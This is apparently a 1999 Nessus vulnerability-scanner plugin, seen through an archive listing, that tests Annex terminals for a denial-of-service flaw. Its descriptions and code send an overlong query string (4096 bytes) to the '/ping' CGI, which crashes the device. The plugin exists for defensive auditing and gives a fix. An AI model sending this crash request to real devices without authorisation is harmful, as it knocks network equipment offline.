home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / annex_dos.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  100 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10017);
  10.  script_version ("$Revision: 1.26 $");
  11.  script_cve_id("CAN-1999-1070");
  12.  
  13.  name["english"] = "Annex DoS";
  14.  name["francais"] = "DΘni de service Annex";
  15.  script_name(english:name["english"], francais:name["francais"]);
  16.  
  17.  desc["english"] = "It was possible to crash
  18. the remote Annex terminal by connecting to
  19. the HTTP port, and requesting the '/ping' CGI
  20. script with an argument that is too long. For 
  21. example:
  22.  
  23.   http://www.YOURSERVER.com/ping?query=AAAAA(...)AAAAA
  24.     
  25. An attacker may use this flaw to crash this
  26. host, thus preventing your network from
  27. working properly.
  28.     
  29. Solution : Remove the '/ping' CGI script from your 
  30. web server.
  31.  
  32. Risk factor : High";
  33.  
  34.  desc["francais"] = "Il a ΘtΘ possible de faire
  35. planter la machine distante en se connectant au
  36. port HTTP, et en demandant le CGI '/ping' en
  37. lui donnant un argument trop long, comme :
  38.  
  39.     GET /ping?query=AAAA(...)AAAAA
  40.     
  41. Un pirate peut utiliser ce problΦme pour 
  42. faire planter cette machine, empechant 
  43. ainsi votre rΘseau de fonctionner 
  44. correctement.
  45.  
  46. Solution : enlevez ce CGI.
  47.  
  48. Facteur de risque : ElevΘ";
  49.  
  50.  
  51.  script_description(english:desc["english"], francais:desc["francais"]);
  52.  
  53.  summary["english"] = "Crashes an Annex terminal";
  54.  summary["francais"] = "Fait planter un terminal Annex";
  55.  script_summary(english:summary["english"], francais:summary["francais"]);
  56.  
  57.  script_category(ACT_KILL_HOST);
  58.  
  59.  
  60.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  61.         francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  62.  family["english"] = "Denial of Service";
  63.  family["francais"] = "DΘni de service";
  64.  script_family(english:family["english"], francais:family["francais"]);
  65.  script_require_ports("Services/www", 80);
  66.  script_dependencie("find_service.nes", "http_version.nasl", "no404.nasl");
  67.  exit(0);
  68. }
  69.  
  70. #
  71. # The script code starts here
  72. #
  73.  
  74. include("http_func.inc");
  75. include("http_keepalive.inc");
  76.  
  77. port = get_http_port(default:80);
  78.  
  79.  
  80. if(!get_port_state(port))exit(0);
  81.  
  82. cgi = "/ping";
  83. if(is_cgi_installed_ka(item:cgi, port:port))
  84. {
  85.  soc = http_open_socket(port);
  86.  start_denial();
  87.  data = string(cgi, "?query=", crap(4096));
  88.  req = http_get(item:data,port:port);
  89.  send(socket:soc, data:req);
  90.  r = http_recv(socket:soc);
  91.  alive = end_denial();
  92.  if(!alive)
  93.  {
  94.    security_hole(port);
  95.    set_kb_item(name:"Host/dead", value:TRUE);
  96.    exit(0);
  97.  }
  98.  http_close_socket(soc);
  99. }
  100.